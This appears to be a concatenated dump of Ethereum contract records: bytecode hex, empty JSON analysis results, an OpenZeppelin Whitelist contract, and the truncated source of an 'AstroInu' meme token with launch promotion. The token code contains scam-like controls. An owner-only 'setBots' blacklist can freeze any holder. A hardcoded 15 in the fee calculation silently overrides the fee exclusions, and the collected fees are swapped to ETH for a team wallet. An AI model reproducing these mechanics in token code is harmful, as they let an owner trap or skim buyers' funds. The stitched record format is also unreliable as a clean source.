163314610a115760405162461bcd60e51b81526004016105dd90611c7f565b60045460ff16610a2057600080fd5b6004805460ff19908116909155600780546001600160a01b039093166001600160a01b0319938416811790915560008181526005602052604081208054909316600190811790935560068054938401815590527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f9091018054909216179055565b336000818152600260205260408120549091610abd91816113ad565b905090565b3360009081526005602052604081205460ff16610af15760405162461bcd60e51b81526004016105dd90611c7f565b610afb838361145f565b50600192915050565b6007546000906001600160a01b03163314610b315760405162461bcd60e51b81526004016105dd90611c7f565b6001600160a01b038216610b575760405162461bcd60e51b81526004016105dd90611d85565b60075460405142916001600160a01b03808616929116907f5c364079e7102c27c608f9b237c735a1b7bfa0b67f27c2ad26bad447bf965cac90600090a450600780546001600160a01b0383166001600160a01b031991821617909155600a805490911690556000600b5560015b919050565b6007546001600160a01b03163314610bf35760405162461bcd60e51b81526004016105dd90611c7f565b6001600160a01b038116610c195760405162461bcd60e51b81526004016105dd90611d85565b600a80546001600160a01b0319166001600160a01b038316179055610c416202a30042611d6d565b600b5550565b6000610c7e6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001633308661152c565b610606838361159d565b60068181548110610c9857600080fd5b6000918252602090912001546001600160a01b0316905081565b6001805461061a90611cb6565b3360009081526005602052604081205460ff16610cee5760405162461bcd60e51b81526004016105dd90611c7f565b610afb838361161a565b60606006805480602002602001604051908101604052809291908181526020018280548015610d5057602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d32575b5050505050905090565b60006001600160a01b03831615801590610d7d57506001600160a01b0383163014155b610d8657600080fd5b3360009081526002602052604090205482811015610db65760405162461bcd60e51b81526004016105dd90611d1e565b610dc08382611d07565b33600090815260026020526040808220929092556001600160a01b03861681529081208054859290610df3908490611d6d565b90915550506040518381526001600160a01b038516903390600080516020611e28833981519152906020015b60405180910390a35060019392505050565b600454600090610100900460ff1615610e8c5760405162461bcd60e51b815260206004820152601960248201527f416e7973776170563645524332303a207661756c744f6e6c790000000000000060448201526064016105dd565b610e958261175f565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031615801590610edb57503360009081526002602052604090205483115b15610f1a57610f156001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001633308661152c565b610f24565b610f24338461161a565b336001600160a01b03167f9c92ad817e5474d30a4378deface765150479363a897b0590fbb12ae9d89396b8484604051610f5f929190611dbc565b60405180910390a250600192915050565b6000610fa76001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001633308561152c565b6109e1823361159d565b6007546000906001600160a01b03163314610c7e5760405162461bcd60e51b81526004016105dd90611c7f565b6007546001600160a01b031633146110085760405162461bcd60e51b81526004016105dd90611c7f565b600480549115156101000261ff0019909216919091179055565b6007546001600160a01b0316331461104c5760405162461bcd60e51b81526004016105dd90611c7f565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6040516370a0823160e01b815233600482015260009081906001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906370a0823190602401602060405180830381865afa1580156110d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fa9190611dd5565b90506111316001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001633308461152c565b61113b813361159d565b91505090565b6007546001600160a01b0316331461116b5760405162461bcd60e51b81526004016105dd90611c7f565b600a546001600160a01b0316158015906111875750600b544210155b61119057600080fd5b600a8054600780546001600160a01b03199081166001600160a01b038416179091551690556000600b55565b3360009081526005602052604081205460ff166111eb5760405162461bcd60e51b81526004016105dd90611c7f565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316158015906112ab57506040516370a0823160e01b815230600482015282907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906370a0823190602401602060405180830381865afa158015611284573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a89190611dd5565b10155b156112e9576112e46001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000168484611770565b6112f3565b6112f3838361145f565b826001600160a01b0316847f05d0634fe981be85c22e2942a880821b70095d84e152c3ea3c17a4e4250d9d6184604051610e1f91815260200190565b6007546001600160a01b031633146113595760405162461bcd60e51b81526004016105dd90611c7f565b6001600160a01b03811661137f5760405162461bcd60e51b81526004016105dd90611d85565b600880546001600160a01b0319166001600160a01b0383161790556113a76202a30042611d6d565b60095550565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03161580159061141057507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03163014155b61141957600080fd5b611423848461161a565b6114576001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000168385611770565b509092915050565b6001600160a01b0382166114b55760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016105dd565b80600360008282546114c79190611d6d565b90915550506001600160a01b038216600090815260026020526040812080548392906114f4908490611d6d565b90915550506040518181526001600160a01b03831690600090600080516020611e288339815191529060200160405180910390a35050565b6040516001600160a01b03808516602483015283166044820152606481018290526115979085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091526117a5565b50505050565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03161580159061160057507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03163014155b61160957600080fd5b611613828461145f565b5090919050565b6001600160a01b03821661167a5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016105dd565b6001600160a01b038216600090815260026020526040902054818110156116ee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016105dd565b6116f88282611d07565b6001600160a01b03841660009081526002602052604081209190915560038054849290611726908490611d07565b90915550506040518281526000906001600160a01b03851690600080516020611e288339815191529060200160405180910390a3505050565b600081511161176d57600080fd5b50565b6040516001600160a01b0383166024820152604481018290526117a090849063a9059cbb60e01b90606401611560565b505050565b6117b7826001600160a01b031661192c565b6118035760405162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740060448201526064016105dd565b600080836001600160a01b03168360405161181e9190611dee565b6000604051808303816000865af19150503d806000811461185b576040519150601f19603f3d011682016040523d82523d6000602084013e611860565b606091505b5091509150816118b25760405162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656460448201526064016105dd565b80511561159757808060200190518101906118cd9190611e0a565b6115975760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016105dd565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906105f15750141592915050565b80356001600160a01b0381168114610bc457600080fd5b60008060006060848603121561198f57600080fd5b61199884611963565b9250602084013591506119ad60408501611963565b90509250925092565b600080604083850312156119c957600080fd5b823591506119d960208401611963565b90509250929050565b60005b838110156119fd5781810151838201526020016119e5565b838111156115975750506000910152565b60008151808452611a268160208601602086016119e2565b601f01601f19169290920160200192915050565b6020815260006106066020830184611a0e565b60008060408385031215611a6057600080fd5b611a6983611963565b946020939093013593505050565b600080600060608486031215611a8c57600080fd5b611a9584611963565b9250611aa360208501611963565b9150604084013590509250925092565b600060208284031215611ac557600080fd5b5035919050565b600060208284031215611ade57600080fd5b61060682611963565b6020808252825182820181905260009190848201906040850190845b81811015611b285783516001600160a01b031683529284019291840191600101611b03565b50909695505050505050565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215611b5d57600080fd5b82359150602083013567ffffffffffffffff80821115611b7c57600080fd5b818501915085601f830112611b9057600080fd5b813581811115611ba257611ba2611b34565b604051601f8201601f19908116603f01168101908382118183101715611bca57611bca611b34565b81604052828152886020848701011115611be357600080fd5b8260208601602083013760006020848301015280955050505050509250929050565b801515811461176d57600080fd5b600060208284031215611c2557600080fd5b813561060681611c05565b60008060408385031215611c4357600080fd5b611c4c83611963565b91506119d960208401611963565b600080600060608486031215611c6f57600080fd5b83359250611aa360208501611963565b60208082526019908201527f416e7973776170563645524332303a20464f5242494444454e00000000000000604082015260600190565b600181811c90821680611cca57607f821691505b60208210811415611ceb57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015611d1957611d19611cf1565b500390565b6020808252602f908201527f416e7973776170563645524332303a207472616e7366657220616d6f756e742060408201526e657863656564732062616c616e636560881b606082015260800190565b60008219821115611d8057611d80611cf1565b500190565b6020808252601a908201527f416e7973776170563645524332303a2061646472657373283029000000000000604082015260600190565b8281526040602082015260006105f16040830184611a0e565b600060208284031215611de757600080fd5b5051919050565b60008251611e008184602087016119e2565b9190910192915050565b600060208284031215611e1c57600080fd5b815161060681611c0556feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220aa4398c21574e7ce85493e9f9aa5e0bbd859e6b84c0f40a153df63ee22bf771a64736f6c634300080a0033
|
{"success": true, "error": null, "results": {}}
| 2,431 |
0xf712bd31b6305c94a2d6122722a6aa58f5515d8e
|
pragma solidity ^0.4.23;
// File: node_modules/openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: node_modules/openzeppelin-solidity/contracts/ownership/rbac/Roles.sol
/**
* @title Roles
* @author Francisco Giordano (@frangio)
* @dev Library for managing addresses assigned to a Role.
* See RBAC.sol for example usage.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an address access to this role
*/
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
/**
* @dev remove an address' access to this role
*/
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
/**
* @dev check if an address has this role
* // reverts
*/
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
/**
* @dev check if an address has this role
* @return bool
*/
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
// File: node_modules/openzeppelin-solidity/contracts/ownership/rbac/RBAC.sol
/**
* @title RBAC (Role-Based Access Control)
* @author Matt Condon (@Shrugs)
* @dev Stores and provides setters and getters for roles and addresses.
* @dev Supports unlimited numbers of roles and addresses.
* @dev See //contracts/mocks/RBACMock.sol for an example of usage.
* This RBAC method uses strings to key roles. It may be beneficial
* for you to write your own implementation of this interface using Enums or similar.
* It's also recommended that you define constants in the contract, like ROLE_ADMIN below,
* to avoid typos.
*/
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
/**
* @dev reverts if addr does not have role
* @param addr address
* @param roleName the name of the role
* // reverts
*/
function checkRole(address addr, string roleName)
view
public
{
roles[roleName].check(addr);
}
/**
* @dev determine if addr has role
* @param addr address
* @param roleName the name of the role
* @return bool
*/
function hasRole(address addr, string roleName)
view
public
returns (bool)
{
return roles[roleName].has(addr);
}
/**
* @dev add a role to an address
* @param addr address
* @param roleName the name of the role
*/
function addRole(address addr, string roleName)
internal
{
roles[roleName].add(addr);
emit RoleAdded(addr, roleName);
}
/**
* @dev remove a role from an address
* @param addr address
* @param roleName the name of the role
*/
function removeRole(address addr, string roleName)
internal
{
roles[roleName].remove(addr);
emit RoleRemoved(addr, roleName);
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param roleName the name of the role
* // reverts
*/
modifier onlyRole(string roleName)
{
checkRole(msg.sender, roleName);
_;
}
/**
* @dev modifier to scope access to a set of roles (uses msg.sender as addr)
* @param roleNames the names of the roles to scope access to
* // reverts
*
* @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this
* see: https://github.com/ethereum/solidity/issues/2467
*/
// modifier onlyRoles(string[] roleNames) {
// bool hasAnyRole = false;
// for (uint8 i = 0; i < roleNames.length; i++) {
// if (hasRole(msg.sender, roleNames[i])) {
// hasAnyRole = true;
// break;
// }
// }
// require(hasAnyRole);
// _;
// }
}
// File: node_modules/openzeppelin-solidity/contracts/ownership/Whitelist.sol
/**
* @title Whitelist
* @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions.
* @dev This simplifies the implementation of "user permissions".
*/
contract Whitelist is Ownable, RBAC {
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
string public constant ROLE_WHITELISTED = "whitelist";
/**
* @dev Throws if called by any account that's not whitelisted.
*/
modifier onlyWhitelisted() {
checkRole(msg.sender, ROLE_WHITELISTED);
_;
}
/**
* @dev add an address to the whitelist
* @param addr address
* @return true if the address was added to the whitelist, false if the address was already in the whitelist
*/
function addAddressToWhitelist(address addr)
onlyOwner
public
{
addRole(addr, ROLE_WHITELISTED);
emit WhitelistedAddressAdded(addr);
}
/**
* @dev getter to determine if address is in whitelist
*/
function whitelist(address addr)
public
view
returns (bool)
{
return hasRole(addr, ROLE_WHITELISTED);
}
/**
* @dev add addresses to the whitelist
* @param addrs addresses
* @return true if at least one address was added to the whitelist,
* false if all addresses were already in the whitelist
*/
function addAddressesToWhitelist(address[] addrs)
onlyOwner
public
{
for (uint256 i = 0; i < addrs.length; i++) {
addAddressToWhitelist(addrs[i]);
}
}
/**
* @dev remove an address from the whitelist
* @param addr address
* @return true if the address was removed from the whitelist,
* false if the address wasn't in the whitelist in the first place
*/
function removeAddressFromWhitelist(address addr)
onlyOwner
public
{
removeRole(addr, ROLE_WHITELISTED);
emit WhitelistedAddressRemoved(addr);
}
/**
* @dev remove addresses from the whitelist
* @param addrs addresses
* @return true if at least one address was removed from the whitelist,
* false if all addresses weren't in the whitelist in the first place
*/
function removeAddressesFromWhitelist(address[] addrs)
onlyOwner
public
{
for (uint256 i = 0; i < addrs.length; i++) {
removeAddressFromWhitelist(addrs[i]);
}
}
}
|
0x6080604052600436106100ae5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630988ca8c81146100b357806318b919e91461011c578063217fe6c6146101a657806324953eaa14610221578063286dd3f514610276578063715018a6146102975780637b9417c8146102ac5780638da5cb5b146102cd5780639b19251a146102fe578063e2ec6ec31461031f578063f2fde38b14610374575b600080fd5b3480156100bf57600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261011a958335600160a060020a03169536956044949193909101919081908401838280828437509497506103959650505050505050565b005b34801561012857600080fd5b50610131610403565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016b578181015183820152602001610153565b50505050905090810190601f1680156101985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b257600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261020d958335600160a060020a03169536956044949193909101919081908401838280828437509497506104289650505050505050565b604080519115158252519081900360200190f35b34801561022d57600080fd5b506040805160206004803580820135838102808601850190965280855261011a9536959394602494938501929182918501908490808284375094975061049b9650505050505050565b34801561028257600080fd5b5061011a600160a060020a03600435166104e8565b3480156102a357600080fd5b5061011a61056b565b3480156102b857600080fd5b5061011a600160a060020a03600435166105d7565b3480156102d957600080fd5b506102e261065a565b60408051600160a060020a039092168252519081900360200190f35b34801561030a57600080fd5b5061020d600160a060020a0360043516610669565b34801561032b57600080fd5b506040805160206004803580820135838102808601850190965280855261011a9536959394602494938501929182918501908490808284375094975061069e9650505050505050565b34801561038057600080fd5b5061011a600160a060020a03600435166106eb565b6103ff826001836040518082805190602001908083835b602083106103cb5780518252601f1990920191602091820191016103ac565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092209291505061070e565b5050565b6040805180820190915260098152600080516020610a09833981519152602082015281565b6000610494836001846040518082805190602001908083835b602083106104605780518252601f199092019160209182019101610441565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050610723565b9392505050565b60008054600160a060020a031633146104b357600080fd5b5060005b81518110156103ff576104e082828151811015156104d157fe5b906020019060200201516104e8565b6001016104b7565b600054600160a060020a031633146104ff57600080fd5b61052c81604080519081016040528060098152602001600080516020610a09833981519152815250610742565b60408051600160a060020a038316815290517ff1abf01a1043b7c244d128e8595cf0c1d10743b022b03a02dffd8ca3bf729f5a9181900360200190a150565b600054600160a060020a0316331461058257600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031633146105ee57600080fd5b61061b81604080519081016040528060098152602001600080516020610a09833981519152815250610863565b60408051600160a060020a038316815290517fd1bba68c128cc3f427e5831b3c6f99f480b6efa6b9e80c757768f6124158cc3f9181900360200190a150565b600054600160a060020a031681565b600061069882604080519081016040528060098152602001600080516020610a09833981519152815250610428565b92915050565b60008054600160a060020a031633146106b657600080fd5b5060005b81518110156103ff576106e382828151811015156106d457fe5b906020019060200201516105d7565b6001016106ba565b600054600160a060020a0316331461070257600080fd5b61070b81610944565b50565b6107188282610723565b15156103ff57600080fd5b600160a060020a03166000908152602091909152604090205460ff1690565b6107ac826001836040518082805190602001908083835b602083106107785780518252601f199092019160209182019101610759565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220929150506109c1565b7fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a82826040518083600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561082457818101518382015260200161080c565b50505050905090810190601f1680156108515780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b6108cd826001836040518082805190602001908083835b602083106108995780518252601f19909201916020918201910161087a565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220929150506109e3565b7fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b70048982826040518083600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360008381101561082457818101518382015260200161080c565b600160a060020a038116151561095957600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0316600090815260209190915260409020805460ff19169055565b600160a060020a0316600090815260209190915260409020805460ff19166001179055560077686974656c6973740000000000000000000000000000000000000000000000a165627a7a7230582087a38f17f92b314d802ecf369053cd46d2467efef269054ef946f825b2fe31fc0029
|
{"success": true, "error": null, "results": {}}
| 2,432 |
0x240f01ad77d65f18a05a5a7687b1792e862c15a3
|
/**
*Submitted for verification at Etherscan.io on 2021-07-04
*/
/*
AstroInu Inu is going to launch in the Uniswap at July 4.
This is fair launch and going to launch without any presale.
tg: https://t.me/Astro_InuGroup
twitter: https://twitter.com/AstroInu1
All crypto babies will become a AstroInu in here.
Let's enjoy our launch!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AstroInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Astro Inu";
string private constant _symbol = " ATInu ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
